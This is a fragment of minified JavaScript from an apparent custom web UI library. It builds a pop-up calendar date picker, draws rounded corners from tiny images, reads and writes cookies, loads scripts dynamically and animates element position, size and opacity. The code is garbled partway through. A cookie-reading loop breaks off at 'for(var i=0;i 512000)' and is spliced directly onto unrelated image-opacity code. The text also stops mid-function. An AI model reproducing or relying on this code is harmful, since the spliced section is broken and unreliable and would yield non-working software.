Tp = (18 * Sz) + (10 * Sz); var Lf = 0; for (var n = 0; n < 6; n++) { Tp = (Tp * 1 + (18 * Sz)); Lf = 0 - (28 * Sz) + 5 * Sz; for (var m = 0; m < 7; m++) { Lf = Lf * 1 + (28 * Sz); var ObjB = Mrlce('button'); ObjB.style.position = 'absolute'; ObjB.style.width = (28 * Sz) + 'px'; ObjB.style.height = (18 * Sz) + 'px'; ObjB.style.top = Tp + 'px'; ObjB.style.left = Lf + 'px'; ObjB.style.zIndex = '500'; ObjB.style.fontFamily = 'Arial'; ObjB.style.fontSize = (12 * Sz) + 'px'; if (m == 0) { ObjB.style.color = LHFontC;} else { ObjB.style.color = LNFontC;}; if (DicThisDatesType[(n * 7 + m)] == 1) {ObjB.style.backgroundColor = curMonthBG;} else {ObjB.style.backgroundColor = nonMonthBG;}; if (DicThisDatesType[(n * 7 + m)] == 1) {ObjB.style.border = 'solid ' + (1 * Sz) + 'px ' + curMonthBD;} else {ObjB.style.border = 'solid ' + (1 * Sz) + 'px ' + nonMonthBD;}; if (DicThisDatesType[(n * 7 + m)] == 1) {ObjB.innerHTML = DicThisDates[(n * 7 + m)];}; if (DicThisDatesType[(n * 7 + m)] == 1) {ObjB.name = curMonthBG;} else {ObjB.name = nonMonthBG;}; if (DicThisDatesType[(n * 7 + m)] == 1) {ObjB.LName = curMonthBG;} else {ObjB.LName = nonMonthBG;}; ObjB.LNum = (n * 7 + m); if (DicThisDatesType[(n * 7 + m)] == 1 && DicThisDates[(n * 7 + m)] == D) {ObjA.name = (n * 7 + m); ObjB.style.backgroundColor = LSelBackgroundColor;}; if (DicThisDatesType[(n * 7 + m)] == 1) {ObjB.onmouseover = function(){this.name = this.style.backgroundColor; this.style.backgroundColor = LSelBackgroundColor;};}; if (DicThisDatesType[(n * 7 + m)] == 1) {ObjB.onmouseout = function(){this.style.backgroundColor = this.name;};}; if (DicThisDatesType[(n * 7 + m)] == 1) { var YA = Y + ''; var MA = M + ''; if (MA.length == 1) {MA = '0' + MA;} var DA = DicThisDates[(n * 7 + m)]; DA = DA + ''; if (DA.length == 1) {DA = '0' + DA;}; eval("ObjB.onclick = function(){var ObjA = this.parentNode.getElementsByTagName('button')[this.parentNode.name];ObjA.style.backgroundColor = ObjA.LName;this.style.backgroundColor = LSelBackgroundColor;this.name = LSelBackgroundColor;this.parentNode.name = this.LNum;this.parentNode.getElementsByTagName('obj')[0].LValue = '" + DA + "';this.parentNode.getElementsByTagName('obj')[0].LTextBox.value = '" + YA + '-' + MA + '-' + DA + "'; if (this.parentNode.getElementsByTagName('obj')[0].LTextBox.onchange){this.parentNode.getElementsByTagName('obj')[0].LTextBox.onchange()} ;this.parentNode.getElementsByTagName('obj')[0].LTextBox.LDateInputing = 'N';this.parentNode.parentNode.removeChild(this.parentNode)}");} else { ObjB.onclick = function(){};} ObjB.style.textAlign = 'center'; ObjB.style.overflow = 'hidden'; ObjA.appendChild(ObjB);};}; var ObjPar = LDateInputFunction_ObjA.parentNode; for (var i = 0; ObjPar != document.body; i = 0) { var LjPar = ObjPar.tagName; LjPar = LjPar.toUpperCase(); if (LjPar == 'DIV' || LjPar == 'SPAN' || LjPar == 'BUTTON') {break}; ObjPar = ObjPar.parentNode;}; ObjPar.appendChild(ObjA); var ObjB = Mrlce('button'); ObjB.style.position = 'absolute'; ObjB.style.width = (40 * Sz) + 'px'; ObjB.style.height = (20 * Sz) + 'px'; ObjB.style.top = (5 * Sz) + 'px'; ObjB.style.left = (145 * Sz) + 'px'; ObjB.style.zIndex = '500'; ObjB.style.fontFamily = 'Arial'; ObjB.style.fontSize = (10 * Sz) + 'px'; ObjB.style.border = 'none 0px #000000'; ObjB.style.backgroundColor = LSelBG; ObjB.innerHTML = 'Today'; var now = new Date(); var LjC = now.getYear(); LjC = LjC * 1; if (LjC < 2000) {LjC = LjC * 1 + 1900;} LjC = LjC + ''; LjB = LjB + LjC + '-'; LjC = now.getMonth(); LjC = LjC * 1 + 1; LjC = LjC + ''; if (LjC.length == 1) {LjC = '0' + LjC;} LjB = LjB + LjC + '-'; LjC = now.getDate(); LjC = LjC + ''; if (LjC.length == 1) {LjC = '0' + LjC;} LjB = LjB + LjC; ObjB.onclick = function(){var ObjA = this.parentNode.getElementsByTagName('select'); this.parentNode.getElementsByTagName('obj')[0].LTextBox.LDateInputing = 'N'; MrlDateInputFunction(this.parentNode.getElementsByTagName('obj')[0].LTextBox, LjB);this.parentNode.parentNode.removeChild(this.parentNode);}; ObjA.appendChild(ObjB); var ObjB = Mrlce('button'); ObjB.style.position = 'absolute'; ObjB.style.width = (20 * Sz) + 'px'; ObjB.style.height = (20 * Sz) + 'px'; ObjB.style.top = (0 * Sz) + 'px'; ObjB.style.left = (190 * Sz) + 'px'; ObjB.style.zIndex = '500'; ObjB.style.fontFamily = 'Arial'; ObjB.style.fontSize = (12 * Sz) + 'px'; ObjB.style.border = 'none 0px #000000'; ObjB.style.backgroundColor = 'transparent'; ObjB.innerHTML = 'x'; ObjB.onclick = function(){this.parentNode.getElementsByTagName('obj')[0].LTextBox.LDateInputing = 'N';this.parentNode.parentNode.removeChild(this.parentNode);}; ObjA.appendChild(ObjB); var ObjB = LDateInputFunction_ObjA; ObjA.style.left = ObjB.offsetLeft; ObjA.style.top =ObjB.offsetTop * 1 + ObjB.offsetHeight;return ObjA;};MrlRoundedCorner = function(LRoundedCorner_ObjA, LRoundedCorner_TopLeft, LRoundedCorner_TopRight, LRoundedCorner_BottomLeft, LRoundedCorner_BottomRight){var LjA = navigator.appVersion; var LjB = navigator.appName; LjA = LjA.toUpperCase(); LjB = LjB.toUpperCase(); var k = 0; var ObjA = LRoundedCorner_ObjA; var ObjB = ObjA.parentNode; var LjBGColor = ''; for (var i = 0; ObjB != document.body; i++) {var LjA = ObjB.style.backgroundColor; LjA = LjA + ''; LjA = LjA.toUpperCase(); if (LjA == '' || !LjA || LjA == 'TRANSPARENT') {} else {LjBGColor = LjA;break;}; ObjB = ObjB.parentNode;}; if (LjBGColor == '') {var LjA = ObjB.style.backgroundColor; LjA = LjA + ''; LjA = LjA.toUpperCase(); if (LjA == '' || !LjA || LjA == 'TRANSPARENT') {LjBGColor = "#ffffff";} else {LjBGColor = LjA;};};ObjB = ObjA.parentNode;for (var i = 0; ObjB != document.body; i++) {var LjA = ObjB.tagName; LjA = LjA + ''; LjA = LjA.toUpperCase(); if (LjA == 'DIV' || LjA == 'SPAN' || LjA == 'BUTTON') {break;} else {}; ObjB = ObjB.parentNode;}; ObjC = ObjB;if (LjBGColor != '') {var DicPix = new Array();DicPix[0] = new Array();DicPix[1] = new Array();DicPix[2] = new Array();if (LRoundedCorner_TopLeft == 1) {DicPix[0][DicPix[0].length] = ObjA.offsetTop;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 7;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 1;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 5;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 2;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 3;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 3;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 4;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 5;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 1;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 6;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 1;}; if (LRoundedCorner_TopRight == 1) {DicPix[0][DicPix[0].length] = ObjA.offsetTop;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 7;DicPix[2][DicPix[2].length] = 7;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 1;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 5;DicPix[2][DicPix[2].length] = 5;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 2;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 3;DicPix[2][DicPix[2].length] = 3;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 3;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 2;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 4;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 2;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 5;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 1;DicPix[2][DicPix[2].length] = 1;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + 6;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 1;DicPix[2][DicPix[2].length] = 1;} if (LRoundedCorner_BottomLeft == 1) {DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 7;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 1;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 5;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 2;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 3;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 3;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 4;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 5;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 1;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 6;DicPix[1][DicPix[1].length] = ObjA.offsetLeft;DicPix[2][DicPix[2].length] = 1;} if (LRoundedCorner_BottomRight == 1) {DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 7;DicPix[2][DicPix[2].length] = 7;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 1;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 5;DicPix[2][DicPix[2].length] = 5;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 2;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 3;DicPix[2][DicPix[2].length] = 3;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 3;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 2;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 4;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 2;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 5;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 1;DicPix[2][DicPix[2].length] = 1;DicPix[0][DicPix[0].length] = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 - 6;DicPix[1][DicPix[1].length] = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 - 1;DicPix[2][DicPix[2].length] = 1;} for (var i in DicPix[0]) {var ObjPix = Mrlce('img');ObjPix.src = 'http://www.mrlsystem.com/img/hidden.png';ObjC.appendChild(ObjPix);ObjPix.style.top = DicPix[0][i] + 'px';ObjPix.style.left = DicPix[1][i] + 'px';ObjPix.style.position = 'absolute';ObjPix.style.zIndex = "500";ObjPix.style.border = "none 0px #000000";ObjPix.style.backgroundColor = LjBGColor;ObjPix.style.height = '1px';ObjPix.style.width = DicPix[2][i] + 'px';};} return ObjA;};MrlReplace = function(LReplaceLjA, LReplaceLjB, LReplaceLjC){LReplaceLjAns = "";if(LReplaceLjA===null||LReplaceLjA===undefined){LReplaceLjA=''};LReplaceLjA+=''; for (LReplacei = 0; LReplacei < LReplaceLjA.length; LReplacei++) { LReplaceLjD = LReplaceLjA.substring(LReplacei, LReplacei - 1 + 1 + LReplaceLjB.length); if (LReplaceLjD == LReplaceLjB) { LReplaceLjD = LReplaceLjC; LReplacei = LReplacei - 1 + LReplaceLjB.length;} else { LReplaceLjD = LReplaceLjA.substring(LReplacei, LReplacei - 1 + 1 + 1);}; LReplaceLjAns += LReplaceLjD;}; return LReplaceLjAns;};;DicRemoveItem = function(DicRemoveItem_Dic, DicRemoveItem_Key, DicRemoveItem_KeepKey){DicRemoveItem_NewDic = new Array(); for (DicRemoveItem_LjA in DicRemoveItem_Dic) { if (DicRemoveItem_Key != DicRemoveItem_LjA) { if (DicRemoveItem_KeepKey == 1) { DicRemoveItem_NewDic[DicRemoveItem_LjA] = DicRemoveItem_Dic[DicRemoveItem_LjA];} else { DicRemoveItem_NewDic[DicRemoveItem_NewDic.length] = DicRemoveItem_Dic[DicRemoveItem_LjA];};};}; return DicRemoveItem_NewDic;};MrlAddCookie=function(LAddCookie_Name, LAddCookie_Cont){document.cookie = LAddCookie_Name + "=" + encodeURIComponent(LAddCookie_Cont) + ";Path=/";};mupdjs=function(mupdjs_tt,mupdjs_rnd,mupdjs_mfunc){var sp=Mrlce('script');sp.type='text/javascript';sp.mfunc=mupdjs_mfunc;sp.src=mupdjs_tt+'?m='+(mupdjs_rnd||parseInt(Math.random()*999999));sp.mblur=function(){if(this.parentNode){this.parentNode.removeChild(this)}};sp.onload=function(){this.mblur();if(this.mfunc){this.mfunc()}};sp.mreload=function(){mupdjs(this.src)};sp.onerror=function(){console.log('mupdjs: error getting '+this.src);this.mreload();this.onload()};document.body.appendChild(sp);return sp;};/*mupdjs=function(mupdjs_tt){*/Mrlacoo=function(Lacoo_nm,Lacoo_val){document.cookie=Lacoo_nm+'='+encodeURIComponent(Lacoo_val);};Mrlgcoo=function(Lgcoo_nm){var tt=document.cookie;var nm=Lgcoo_nm||'';var ary=tt.split(';');var ans='';for(var i=0;i 512000) {ObjAllImg[i].style.filter = 'alpha(opacity=100)'}; }; document.body.appendChild(ObjA);};var ObjA = Mrlgei('MrlAnimationObj');ObjA.style.visibility = 'hidden';var ObjC = Mrlce('obj'); ObjC.id = 'MrlAnimationID' + Math.round(Math.random() * 99999, 0); ObjC.LTimeOut = ""; for (var i = 0; i < ObjA.childNodes.length; i++){if (ObjA.childNodes[i].LObj == MrlAnimation_ObjA) {ObjC = ObjA.childNodes[i];};} ObjA.appendChild(ObjC); var LID = ObjC.id; var LjTp = MrlAnimation_LjTp;var LjLf = MrlAnimation_LjLf;var LjHt = MrlAnimation_LjHt;var LjWd = MrlAnimation_LjWd;var LjSpd = MrlAnimation_Spd;var LjOp = MrlAnimation_LjOp;clearTimeout(ObjC.LTimeOut);ObjC.LObj = MrlAnimation_ObjA;if ((LjTp && !isNaN(LjTp - 1)) || LjTp == 0) {ObjC.LTop = Math.round(LjTp, 0);};if ((LjLf && !isNaN(LjLf - 1)) || LjLf == 0) {ObjC.LLeft = Math.round(LjLf, 0);};if ((LjHt && !isNaN(LjHt - 1)) || LjHt == 0) {ObjC.LHeight = Math.round(LjHt, 0);};if ((LjWd && !isNaN(LjWd - 1)) || LjWd == 0) {ObjC.LWidth = Math.round(LjWd, 0);};if (LjSpd && !isNaN(LjSpd - 1)) {ObjC.LSpeed = LjSpd;};if ((LjOp && !isNaN(LjOp - 1)) || LjOp == 0) {ObjC.LOpacity = Math.round(LjOp, 0);};if ((!ObjC.LObj.style.top) || (ObjC.LObj.style.top.toUpperCase() == 'AUTO')) {LjTpA = ObjC.LObj.offsetTop} else {LjTpA = ObjC.LObj.style.top; LjTpA += ''; LjTpA = LjTpA.toUpperCase(); LjTpA = MrlReplace(LjTpA, 'PX', '')};if ((!ObjC.LObj.style.left) || (ObjC.LObj.style.left.toUpperCase() == 'AUTO')) {LjLfA = ObjC.LObj.offsetLeft} else {LjLfA = ObjC.LObj.style.left; LjLfA += ''; LjLfA = LjLfA.toUpperCase(); LjLfA = MrlReplace(LjLfA, 'PX', '')};if ((!ObjC.LObj.style.width) || (ObjC.LObj.style.width.toUpperCase() == 'AUTO')) {LjWdA = ObjC.LObj.offsetWidth} else {LjWdA = ObjC.LObj.style.width; LjWdA += ''; LjWdA = LjWdA.toUpperCase(); LjWdA = MrlReplace(LjWdA, 'PX', '')};if ((!ObjC.LObj.style.height) || (ObjC.LObj.style.height.toUpperCase() == 'AUTO')) {LjHtA = ObjC.LObj.offsetHeight} else {LjHtA = ObjC.LObj.style.height; LjHtA += ''; LjHtA = LjHtA.toUpperCase(); LjHtA = MrlReplace(LjHtA, 'PX', '')};var LjStyleA, LjStyleB;LjStyleA = ObjC.LObj.style.opacity;LjStyleB = ObjC.LObj.style.filter;if (LjStyleA) {LjStyleA = LjStyleA + '';LjStyleA = LjStyleA.toUpperCase();};if (LjStyleB) {LjStyleB = LjStyleB + '';LjStyleB = LjStyleB.toUpperCase();};LjStyleB = MrlReplace(MrlReplace(LjStyleB, "ALPHA(OPACITY=", ""), ")", "");if (!MrlAnimation_LjTyp) { if (ObjC.LTop || ObjC.LTop == 0) {if (!isNaN(ObjC.LTop - LjTpA)) {ObjC.LOriDifTp = ObjC.LTop - LjTpA};};if (ObjC.LOriDifTp == 0) {ObjC.LOriDifTp = 1}; if (ObjC.LLeft || ObjC.LLeft == 0) {if (!isNaN(ObjC.LLeft - LjLfA)) {ObjC.LOriDifLf = ObjC.LLeft - LjLfA};};if (ObjC.LOriDifLf == 0) {ObjC.LOriDifLf = 1}; if (ObjC.LHeight || ObjC.LHeight == 0) {if (!isNaN(ObjC.LHeight - LjHtA)) {ObjC.LOriDifHt = ObjC.LHeight - LjHtA};};if (ObjC.LOriDifHt == 0) {ObjC.LOriDifHt = 1}; if (ObjC.LWidth || ObjC.LWidth == 0) {if (!isNaN(ObjC.LWidth - LjWdA)) {ObjC.LOriDifWd = ObjC.LWidth - LjWdA};};if (ObjC.LOriDifWd == 0) {ObjC.LOriDifWd = 1}; if (ObjC.LOpacity || ObjC.LOpacity == 0 && LjStyleA != "") {if (!isNaN(ObjC.LOpacity - LjStyleA)) {ObjC.LOriDifOp = ObjC.LOpacity - LjStyleA};};if (ObjC.LOriDifOp == 0) {ObjC.LOriDifOp = 1}; if (ObjC.LOpacity || ObjC.LOpacity == 0 && LjStyleB != "") {if (!isNaN(ObjC.LOpacity - LjStyleB)) {ObjC.LOriDifOp = ObjC.LOpacity - LjStyleB};};if (ObjC.LOriDifOp == 0) {ObjC.LOriDifOp = 1};};ObjC.onclick = function(){MrlAnimation(this.LObj, this.LSpeed, null, null, null, null, null, 1);};var LjTpC, LjLfC, LjWdC, LjHtC, LjOpC;var ChkA = 0;if (ObjC.LTop || ObjC.LTop == 0) {LjTpB = LjTpA;LjTpA = ObjC.LTop;if (isNaN(LjTpA - 1) || isNaN(LjTpB - 1)) {} else { if (LjTpA == LjTpB) {LjTpC = LjTpA;} else {if (ObjC.LSpeed > 0) {LjTpC = (Math.round(((LjTpA - LjTpB) / ObjC.LSpeed) - 0.5, 0) * 1);} else if (ObjC.LSpeed < 0) {LjTpC = (Math.round(((ObjC.LOriDifTp - (LjTpA - LjTpB)) / Math.abs(ObjC.LSpeed)) - 0.5, 0) * 1); if (Math.abs(LjTpC) < Math.abs(ObjC.LOriDifTp / 100)) {LjTpC = Math.round((ObjC.LOriDifTp / 100) * 1 + 0.5, 0)};};if (LjTpC == 0) {LjTpC = 1 * (Math.abs(ObjC.LOriDifTp) / ObjC.LOriDifTp)}; if ((LjTpC * 1 + LjTpB * 1) * (Math.abs(ObjC.LOriDifTp) / ObjC.LOriDifTp) > LjTpA * (Math.abs(ObjC.LOriDifTp) / ObjC.LOriDifTp)) {LjTpC = LjTpA - LjTpB}; LjTpC = LjTpB * 1 + LjTpC; ChkA = 1;};}; ObjC.LObj.style.top = LjTpC + 'px';};if (ObjC.LLeft || ObjC.LLeft == 0) {LjLfB = LjLfA;LjLfA = ObjC.LLeft;if (isNaN(LjLfA - 1) || isNaN(LjLfB - 1)) {} else { if (LjLfA == LjLfB) {LjLfC = LjLfA;} else {if (ObjC.LSpeed > 0) { LjLfC = (Math.round(((LjLfA - LjLfB) / ObjC.LSpeed) - 0.5, 0) * 1);} else if (ObjC.LSpeed < 0) { LjLfC = (Math.round(((ObjC.LOriDifLf - (LjLfA - LjLfB)) / Math.abs(ObjC.LSpeed)) - 0.5, 0) * 1); if (Math.abs(LjLfC) < Math.abs(ObjC.LOriDifLf / 100)) {LjLfC = Math.round((ObjC.LOriDifLf / 100) * 1 + 0.5, 0)};}; if (LjLfC == 0) {LjLfC = 1 * (Math.abs(ObjC.LOriDifLf) / ObjC.LOriDifLf)}; if ((LjLfC * 1 + LjLfB * 1) * (Math.abs(ObjC.LOriDifLf) / ObjC.LOriDifLf) > LjLfA * (Math.abs(ObjC.LOriDifLf) / ObjC.LOriDifLf)) {LjLfC = LjLfA - LjLfB}; LjLfC = LjLfB * 1 + LjLfC; ChkA = 2;};}; ObjC.LObj.style.left = LjLfC + 'px';};if (ObjC.LWidth || ObjC.LWidth == 0) {LjWdB = LjWdA;LjWdA = ObjC.LWidth;if (isNaN(LjWdA - 1) || isNaN(LjWdB - 1)) {} else { if (LjWdA == LjWdB) {LjWdC = LjWdA;} else {if (ObjC.LSpeed > 0) { LjWdC = (Math.round(((LjWdA - LjWdB) / ObjC.LSpeed) - 0.5, 0) * 1);} else if (ObjC.LSpeed < 0) { LjWdC = (Math.round(((ObjC.LOriDifWd - (LjWdA - LjWdB)) / Math.abs(ObjC.LSpeed)) - 0.5, 0) * 1); if (Math.abs(LjWdC) < Math.abs(ObjC.LOriDifWd / 100)) {LjWdC = Math.round((ObjC.LOriDifWd / 100) * 1 + 0.5, 0)};};if (LjWdC == 0) {LjWdC = 1 * (Math.abs(ObjC.LOriDifWd) / ObjC.LOriDifWd)}; if ((LjWdC * 1 + LjWdB * 1) * (Math.abs(ObjC.LOriDifWd) / ObjC.LOriDifWd) > LjWdA * (Math.abs(ObjC.LOriDifWd) / ObjC.LOriDifWd)) {LjWdC = LjWdA - LjWdB}; LjWdC = LjWdB * 1 + LjWdC; ChkA = 3;};}; ObjC.LObj.style.width = LjWdC + 'px';};if (ObjC.LHeight || ObjC.LHeight == 0) {LjHtB = LjHtA;LjHtA = ObjC.LHeight;if (isNaN(LjHtA - 1) || isNaN(LjHtB - 1)) {} else { if (LjHtA == LjHtB) {LjHtC = LjHtA;} else {if (ObjC.LSpeed > 0) { LjHtC = (Math.round(((LjHtA - LjHtB) / ObjC.LSpeed) - 0.5, 0) * 1);} else if (ObjC.LSpeed < 0) { LjHtC = (Math.round(((ObjC.LOriDifHt - (LjHtA - LjHtB)) / Math.abs(ObjC.LSpeed)) - 0.5, 0) * 1); if (Math.abs(LjHtC) < Math.abs(ObjC.LOriDifHt / 100)) {LjHtC = Math.round((ObjC.LOriDifHt / 100) * 1 + 0.5, 0)};};if (LjHtC == 0) {LjHtC = 1 * (Math.abs(ObjC.LOriDifHt) / ObjC.LOriDifHt)}; if ((LjHtC * 1 + LjHtB * 1) * (Math.abs(ObjC.LOriDifHt) / ObjC.LOriDifHt) > LjHtA * (Math.abs(ObjC.LOriDifHt) / ObjC.LOriDifHt)) {LjHtC = LjHtA - LjHtB}; LjHtC = LjHtB * 1 + LjHtC; ChkA = 4;};}; ObjC.LObj.style.height = LjHtC + 'px';};if (ObjC.LOpacity || ObjC.LOpacity == 0) {LjOpA = ObjC.LOpacity;if (LjStyleA == "") {LjStyleA = null;};if (LjStyleA || LjStyleA == "" || LjStyleA == 0) { if (!isNaN(LjOpA - 1)) {LjStyleA = LjStyleA * 100;LjStyleA = Math.round(LjStyleA, 0); if (LjOpA == LjStyleA) {LjOpC = LjOpA;} else {if (ObjC.LSpeed > 0) {LjOpC = (Math.round(((LjOpA - LjStyleA) / ObjC.LSpeed) - 0.5, 0) * 1);} else if (ObjC.LSpeed < 0) { LjOpC = (Math.round(((ObjC.LOriDifOp - (LjOpA - LjStyleA)) / Math.abs(ObjC.LSpeed)) - 0.5, 0) * 1); if (Math.abs(LjOpC) < Math.abs(ObjC.LOriDifOp / 100)) {LjOpC = Math.round((ObjC.LOriDifOp / 100) * 1 + 0.5, 0)};}; if (LjOpC == 0) {LjOpC = 1 * (Math.abs(ObjC.LOriDifOp) / ObjC.LOriDifOp)}; if ((LjOpC * 1 + LjStyleA * 1) * (Math.abs(ObjC.LOriDifOp) / ObjC.LOriDifOp) > LjOpA * (Math.abs(ObjC.LOriDifOp) / ObjC.LOriDifOp)) {LjOpC = LjOpA - LjStyleA}; LjOpC = LjStyleA * 1 + LjOpC; ChkA = 5;}; ObjC.LObj.style.opacity = LjOpC / 100;};};if (LjStyleB == "") {LjStyleB = null;};if (LjStyleB || LjStyleB == "" || LjStyleB == 0) { LjStyleB = Math.round(LjStyleB, 0); if (LjOpA == LjStyleB) {LjOpC = LjOpA;} else {if (ObjC.LSpeed > 0) {LjOpC = (Math.round(((LjOpA - LjStyleB) / ObjC.LSpeed) - 0.5, 0) * 1);} else if (ObjC.LSpeed < 0) { LjOpC = (Math.round(((ObjC.LOriDifOp - (LjOpA - LjStyleB)) / Math.abs(ObjC.LSpeed)) - 0.5, 0) * 1); if (Math.abs(LjOpC) < Math.abs(ObjC.LOriDifOp / 100)) {LjOpC = Math.round((ObjC.LOriDifOp / 100) * 1 + 0.5, 0)};}; if (LjOpC == 0) {LjOpC = 1 * (Math.abs(ObjC.LOriDifOp) / ObjC.LOriDifOp)}; if ((LjOpC * 1 + LjStyleB * 1) * (Math.abs(ObjC.LOriDifOp) / ObjC.LOriDifOp) > LjOpA * (Math.abs(ObjC.LOriDifOp) / ObjC.LOriDifOp)) {LjOpC = LjOpA - LjStyleB}; LjOpC = LjStyleB * 1 + LjOpC; ChkA = 5;}; ObjC.LObj.style.filter = 'alpha(opacity=' + LjOpC + ')';};};ObjC.LObj.style.position = 'absolute';if (ChkA != 0) {ObjC.LTimeOut = setTimeout("Mrlgei('" + LID + "').onclick()", 50);} else {ObjC.LObj.LTop = "";ObjC.LObj.LLeft = "";ObjC.LObj.LHeight = "";ObjC.LObj.LWidth = "";ObjC.LObj.LOpacity = "";ObjC.LObj.LSpeed = "";ObjC.LObj.LOriDifTp = "";ObjC.LObj.LOriDifLf = "";ObjC.LObj.LOriDifWd = "";ObjC.LObj.LOriDifHt = "";ObjC.LObj.LOriDifOp = "";if (ObjC.LObj.onMrlAnimationEnd) {ObjC.LObj.onMrlAnimationEnd()};};};MrlTieangle = function(LTieangle_Obj, LTieangle_HV, LTieangle_Ht, LTieangle_Wd, LTieangle_NLoc, LTieangle_NLen, LTieangle_3DHt){var ObjA = LTieangle_Obj;if (ObjA.tagName.toUpperCase() != 'IMG') {return null};var LjHt = LTieangle_Ht;var LjWd = LTieangle_Wd;var LjLoc = LTieangle_NLoc;var LjLen = LTieangle_NLen;var LjHV = LTieangle_HV;var Lj3DHt = LTieangle_3DHt ? LTieangle_3DHt : 1;LjHV = LjHV + '';LjHV = LjHV.toUpperCase();if (LjHV != 'H' && LjHV != 'V') {return null};if (LjHV == 'H') { var Tp = LjLoc > 0 ? 0 : Math.abs(LjLoc); var Lf = 0; var Ra = LjWd - Lf; LjLoc = LjLoc > 0 ? LjLoc : 0; Ht = (LjLen * 1 + LjLoc * 1) > (LjHt * 1 + Tp * 1) ? (LjLen * 1 + LjLoc * 1) : (LjHt * 1 + Tp * 1); Wd = LjWd;} else if (LjHV = 'V') { var Tp = 0; var Lf = LjLoc > 0 ? 0 : Math.abs(LjLoc); var Ra = LjHt - Tp; LjLoc = LjLoc > 0 ? LjLoc : 0; Ht = LjHt; Wd = (LjLen * 1 + LjLoc * 1) > (LjWd * 1 + Lf * 1) ? (LjLen * 1 + LjLoc * 1) : (LjWd * 1 + Lf * 1);};var LImg = Mrlce('div');LImg.style.width = Wd + 'px';LImg.style.height = Ht + 'px';LImg.style.position = 'absolute';LImg.style.top = '0px';LImg.style.left = '0px';LImg.style.overflow = 'hidden';var NewTp, NewLf, NewHt, NewWd, DivTp, DivLf, DivHt, DivWd;var Lj3DLf = Lj3DHt;for (var Lj3Di = 0; Lj3Di < Lj3DHt; Lj3Di++) { var Lj3DLjHt = 100; Lj3DLf--; for (var i = 0; i < Ra; i++) { if (LjHV == 'H'){ NewTp = Math.round((LjLoc - Tp) * (i / Ra), 0) * 1 + Tp; NewHt = Math.round((LjLen - LjHt) * (i / Ra), 0) * 1 + 